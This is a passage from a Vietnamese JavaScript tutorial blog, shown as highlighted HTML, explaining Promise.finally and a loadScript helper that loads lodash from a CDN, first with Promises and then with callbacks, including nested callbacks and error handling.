punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">/* dừng loading */</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span> <span class="token punctuation">(</span><span class="token parameter">result</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">/* xử lý result */</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">err</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">/* xử lý lỗi */</span> <span class="token punctuation">}</span> <span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Điều đó nói rằng, <code>finally(f)</code> không thật sự chính xác là cách viết khác của <code>then(f,f)</code> mà có một số khác biệt nhỏ:</p> <ol> <li><code>finally</code> không có đối số. Trong <code>finally</code>, bạn không biết liệu Promise có thành công hay không. Vì nhiệm vụ của phần này là thực hiện các phần hoàn thiện <strong>chung</strong>.</li> <li><code>finally</code> chuyển kết quả và lỗi cho phần xử lý tiếp theo.</li> </ol> <p>Ví dụ kết quả được chuyển từ <code>finally</code> đến <code>then</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">resolve</span><span class="token punctuation">(</span><span class="token string">"result"</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">2000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">finally</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Promise ready"</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">result</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>result<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// &lt;-- .then xử lý kết quả</span></code></pre></div> <p>Và đây là trường hợp lỗi được chuyển từ <code>finally</code> qua <code>catch</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">"error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">finally</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Promise ready"</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">err</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>err<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// &lt;-- .catch xử lý lỗi</span></code></pre></div> <p>Nghĩa là <code>finally</code> không xử lý kết quả mà chỉ nhận và chuyển đến thành phần tiếp theo.</p> <h2 id="ví-dụ-loadscript" style="position:relative;"><a href="#v%C3%AD-d%E1%BB%A5-loadscript" aria-label="ví dụ loadscript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ví dụ "loadScript"</h2> <p>Trong bài viết về <a href="/callback-la-gi-callback-trong-javascript/">callback</a>, mình có đề cập tới ví dụ <code>loadScript</code> - chức năng tải một tập lệnh.</p> <p>Đây là cách sử dụng callback:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">loadScript</span><span class="token punctuation">(</span><span class="token parameter">src<span class="token punctuation">,</span> callback</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> script <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">"script"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> script<span class="token punctuation">.</span>src <span class="token operator">=</span> src<span class="token punctuation">;</span> script<span class="token punctuation">.</span><span class="token function-variable function">onload</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">callback</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">,</span> script<span class="token punctuation">)</span><span class="token punctuation">;</span> script<span class="token punctuation">.</span><span class="token function-variable function">onerror</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">callback</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Script load error for </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>src<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> document<span class="token punctuation">.</span>head<span class="token punctuation">.</span><span class="token function">append</span><span class="token punctuation">(</span>script<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Sau đây mình sẽ viết lại bằng Promises.</p> <p>Hàm <code>loadScript</code> mới không yêu cầu truyền vào callback. Thay vào đó, hàm này tạo và trả về một đối tượng Promise - sẽ xử lý khi quá trình tải hoàn tất. Phần code bên ngoài có thể thêm trình xử lý (hàm đăng ký) vào đó bằng cách sử dụng <code>.then</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">loadScript</span><span class="token punctuation">(</span><span class="token parameter">src</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> script <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">"script"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> script<span class="token punctuation">.</span>src <span class="token operator">=</span> src<span class="token punctuation">;</span> script<span class="token punctuation">.</span><span class="token function-variable function">onload</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">resolve</span><span class="token punctuation">(</span>script<span class="token punctuation">)</span><span class="token punctuation">;</span> script<span class="token punctuation">.</span><span class="token function-variable function">onerror</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">reject</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Script load error for </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>src<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> document<span class="token punctuation">.</span>head<span class="token punctuation">.</span><span class="token function">append</span><span class="token punctuation">(</span>script<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Cách sử dụng hàm <code>loadScript</code> mới với Promise trong JavaScript:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> promise <span class="token operator">=</span> <span class="token function">loadScript</span><span class="token punctuation">(</span> <span class="token string">"https://cdnjs.cloudflare.com/ajax/libs/lodash.js/4.17.11/lodash.js"</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> promise<span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span> <span class="token punctuation">(</span><span class="token parameter">script</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>script<span class="token punctuation">.</span>src<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> is loaded!</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">error</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Error: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>error<span class="token punctuation">.</span>message<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> promise<span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">script</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Another handler..."</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Bạn có thể thấy ngay lợi ích của việc dùng Promise so với callback như sau:</p> <ul> <li>Promise: <ul> <li>Cho phép bạn làm mọi thứ theo trình tự tự nhiên. Đầu tiên, bạn chạy <code>loadScript(script)</code> và <code>.then</code> viết những gì cần làm với kết quả.</li> <li>Bạn có thể gọi <code>.then</code> bao nhiều lần tùy ý. Mỗi lần như vậy, bạn lại thêm một hàm đăng ký mới vào <strong>danh sách đăng ký</strong>.</li> </ul> </li> <li>Callback: <ul> <li>Bạn phải có một hàm <code>callback</code> khi gọi <code>loadScript(script, callback)</code>. Nói cách khác, bạn cần biết phải làm gì với kết quả <strong>trước khi</strong> <code>loadScript</code> được gọi.</li> <li>Chỉ có thể gọi lại một lần.</li> </ul> </li> </ul> <p>Vì vậy, Promise cung cấp luồng code tốt hơn và tính linh hoạt tốt hơn so với callback. Nhưng còn nhiều hơn thế nữa. Mình sẽ cùng tìm hiểu trong các bài viết tiếp theo.</p> <p>Tham khảo: <a href="https://javascript.info/promise-basics">Promise</a></p>[email protected]<![CDATA[Callback là gì? Callback trong JavaScript]]><![CDATA[Trong bài viết trước, mình đã giới thiệu cơ bản về xử lý bất đồng bộ trong JavaScript. Bài viết này mình sẽ giới thiệu chi tiết hơn về callback trong JavaScript. Thực tế…]]>https://completejavascript.com/callback-la-gi-callback-trong-javascript/https://completejavascript.com/callback-la-gi-callback-trong-javascript/<![CDATA[Callback]]><![CDATA[Hàm]]>Sat, 08 Jul 2017 10:40:00 GMT<p>Trong bài viết trước, mình đã giới thiệu cơ bản về <a href="/xu-ly-bat-dong-bo-callback-promise-async-await/">xử lý bất đồng bộ</a> trong JavaScript. Bài viết này mình sẽ giới thiệu chi tiết hơn về <strong>callback trong JavaScript</strong>.</p> <p>Thực tế, JavaScript có nhiều hàm cho phép bạn xử lý <strong>không đồng bộ</strong>. Nói cách khác, các hành động được bắt đầu ngay bây giờ, nhưng chúng sẽ kết thúc sau đó.</p> <p>Ví dụ một trong những hàm như vậy là <a href="https://developer.mozilla.org/en-US/docs/Web/API/setTimeout"><code>setTimeout</code></a>.</p> <p>Ngoài ra, có những ví dụ thực tế khác về các hành động bất đồng bộ, như việc tải các tập lệnh và <strong>module</strong>.</p> <p>Hãy xem hàm <code>loadScript(src)</code> sau - dùng để tải về một tập lệnh với <code>src</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">loadScript</span><span class="token punctuation">(</span><span class="token parameter">src</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// tạo một phần tử script</span> <span class="token comment">// gán giá trị cho thuộc tính `src` và thêm vào `head`</span> <span class="token comment">// điều này sẽ giúp trình duyệt tải đoạn script đó về</span> <span class="token keyword">let</span> script <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">"script"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> script<span class="token punctuation">.</span>src <span class="token operator">=</span> src<span class="token punctuation">;</span> document<span class="token punctuation">.</span>head<span class="token punctuation">.</span><span class="token function">append</span><span class="token punctuation">(</span>script<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Đoạn code trên chèn vào <code>document</code> một đoạn <code>script</code> được tạo động bởi <code>&#x3C;script src="…"></code> với đối số <code>src</code> được truyền vào hàm. Sau đó, trình duyệt tự động tải về <code>script</code> và thực thi khi tải hoàn tất.</p> <p>Bạn có thể dùng hàm trên như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">loadScript</span><span class="token punctuation">(</span><span class="token string">"/my/script.js"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tập lệnh tải về được thực thi <strong>bất đồng bộ</strong>, vì nó bắt đầu tải về ngay khi gọi hàm, nhưng chạy sau khi tải về kết thúc.</p> <p>Nếu có bất kỳ câu lệnh nào bên dưới <code>loadScript(…)</code> thì câu lệnh đó sẽ thực hiện ngay mà không đợi cho đến khi quá trình tải <code>script</code> kết thúc.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">loadScript</span><span class="token punctuation">(</span><span class="token string">"/my/script.js"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// code sau lệnh loadScript</span> <span class="token comment">// không đợi cho đến khi load script kết thúc</span> <span class="token comment">// ...</span></code></pre></div> <p>Giả sử, mình cần sử dụng tập lệnh mới ngay khi tải xong. Tập lệnh đó khai báo các chức năng mới và mình muốn chạy chúng (ví dụ các thư viện JavaScript).</p> <p>Nhưng nếu mình làm điều đó ngay sau lời gọi hàm <code>loadScript(…)</code> thì sẽ bị lỗi:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">loadScript</span><span class="token punctuation">(</span><span class="token string">"/my/script.js"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// định nghĩa hàm "function newFunction(){…}"</span> <span class="token function">newFunction</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// -> lỗi hàm newFunction() chưa được định nghĩa.</span></code></pre></div> <p>Bởi vì, việc tải về <code>script</code> là tốn thời gian. Và việc bạn gọi hàm <code>newFunction</code> ngay sau đó sẽ bị lỗi vì <code>script</code> chưa được tải xong.</p> <p>Vấn đề đặt ra là: mình cần biết khi nào tập lệnh được tải xong để sử dụng các hàm và biến mới từ tập lệnh đó.</p> <p>Để giải quyết vấn đề này, bạn có thể sử dụng <strong>hàm callback</strong>.</p> <h2 id="callback-là-gì" style="position:relative;"><a href="#callback-l%C3%A0-g%C3%AC" aria-label="callback là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Callback là gì?</h2> <p>Hãy thêm một hàm <code>callback</code> làm đối số thứ hai của hàm <code>loadScript</code> để thực thi khi tập lệnh tải xong:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">loadScript</span><span class="token punctuation">(</span><span class="token parameter">src<span class="token punctuation">,</span> callback</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> script <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">"script"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> script<span class="token punctuation">.</span>src <span class="token operator">=</span> src<span class="token punctuation">;</span> script<span class="token punctuation">.</span><span class="token function-variable function">onload</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">callback</span><span class="token punctuation">(</span>script<span class="token punctuation">)</span><span class="token punctuation">;</span> document<span class="token punctuation">.</span>head<span class="token punctuation">.</span><span class="token function">append</span><span class="token punctuation">(</span>script<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Bây giờ, nếu bạn muốn gọi các hàm mới từ script thì nên viết chúng bên trong <code>callback</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">loadScript</span><span class="token punctuation">(</span><span class="token string">"/my/script.js"</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// callback được gọi sau khi script được load</span> <span class="token function">newFunction</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// tại thời điểm này hàm newFunction đã tồn tại</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Ý tưởng của callback trong JavaScript: sử dụng đối số thứ hai là một hàm (thường là <a href="/function-expression-trong-javascript/">hàm ẩn danh</a>) để chạy khi hành động được hoàn thành.</p> <p>Sau đây là một ví dụ thực tế với script là thư viện <a href="https://lodash.com/">lodash</a>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">loadScript</span><span class="token punctuation">(</span><span class="token parameter">src<span class="token punctuation">,</span> callback</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> script <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">"script"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> script<span class="token punctuation">.</span>src <span class="token operator">=</span> src<span class="token punctuation">;</span> script<span class="token punctuation">.</span><span class="token function-variable function">onload</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">callback</span><span class="token punctuation">(</span>script<span class="token punctuation">)</span><span class="token punctuation">;</span> document<span class="token punctuation">.</span>head<span class="token punctuation">.</span><span class="token function">append</span><span class="token punctuation">(</span>script<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">loadScript</span><span class="token punctuation">(</span> <span class="token string">"https://cdnjs.cloudflare.com/ajax/libs/lodash.js/3.2.0/lodash.js"</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">script</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Cool, the script </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>script<span class="token punctuation">.</span>src<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> is loaded</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>_<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hàm _ là một hàm trong lodash</span> <span class="token punctuation">}</span> <span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Cách làm trên được gọi là: kiểu lập trình không đồng bộ <strong>dựa trên callback</strong>. Tức là một hàm thực hiện điều gì đó bất đồng bộ sẽ cung cấp một đối số <code>callback</code> - để đặt hàm muốn chạy trong đó ngay sau khi hàm bất đồng bộ hoàn tất.</p> <p>Ở đây, mình ví dụ với việc <code>loadScript</code>. Tuy nhiên, <strong>callback trong JavaScript</strong> là một cách tiếp cận chung được áp dụng ở nhiều trường hợp.</p> <h2 id="callback-trong-callback" style="position:relative;"><a href="#callback-trong-callback" aria-label="callback trong callback permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Callback trong callback</h2> <p>Làm cách nào để tải tuần tự hai <code>script</code>: tập lệnh đầu tiên và tập lệnh thứ hai ngay sau đó?</p> <p>Giải pháp bình thường sẽ là đặt lời gọi hàm <code>loadScript</code> thứ hai bên trong callback của lần gọi thứ nhất, như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">loadScript</span><span class="token punctuation">(</span><span class="token string">"/my/script.js"</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">script</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Cool, the </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>script<span class="token punctuation">.</span>src<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> is loaded, let's load one more</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">loadScript</span><span class="token punctuation">(</span><span class="token string">"/my/script2.js"</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">script</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Cool, the second script is loaded</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Sau khi lần gọi <code>loadScript</code> bên ngoài hoàn tất, callback sẽ được gọi và thực hiện gọi <code>loadScript</code> lần thứ hai.</p> <p>Nhưng vấn đề đặt ra nếu bạn phải tải về nhiều tập lệnh hơn thì sao?</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">loadScript</span><span class="token punctuation">(</span><span class="token string">"/my/script.js"</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">script</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">loadScript</span><span class="token punctuation">(</span><span class="token string">"/my/script2.js"</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">script</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">loadScript</span><span class="token punctuation">(</span><span class="token string">"/my/script3.js"</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">script</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// ...tiếp tục sau khi load xong</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Như vậy, mọi hành động mới đều nằm trong callback của hành động trước.</p> <p>Điều đó là <strong>OK</strong> trong trường hợp có một vài hành động, nhưng sẽ là <strong>không OK</strong> khi có nhiều hành động.</p> <p>Đó là lý do mà JavaScript có các biến thể khác để xử lý bất đồng bộ như <strong>Promise</strong> hay <strong>Async/await</strong> mà mình sẽ giới thiệu kỹ hơn trong các bài viết sau.</p> <h2 id="xử-lý-lỗi-trong-callback" style="position:relative;"><a href="#x%E1%BB%AD-l%C3%BD-l%E1%BB%97i-trong-callback" aria-label="xử lý lỗi trong callback permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xử lý lỗi trong callback</h2> <p>Trong các ví dụ trên, mình không quan tâm đến trường hợp lỗi.</p> <p><strong>Nhưng điều gì sẽ xảy ra nếu quá trình tải tập lệnh không thành công?</strong></p> <p>Callback cần phải xử lý được vấn đề đó.</p> <p>Sau đây là một phiên bản cải tiến của hàm <code>loadScript</code> cho phép kiểm tra/xử lý lỗi:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">loadScript</span><span class="token punctuation">(</span><span class="token parameter">src<span class="token punctuation">,</span> callback</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> script <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">"script"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> script<span class="token punctuation">.</span>src <span class="token operator">=</span> src<span class="token punctuation">;</span> script<span class="token punctuation">.</span><span class="token function-variable function">onload</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">callback</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">,</span> script<span class="token punctuation">)</span><span class="token punctuation">;</span> script<span class="token punctuation">.</span><span class="token function-variable function">onerror</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">callback</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token 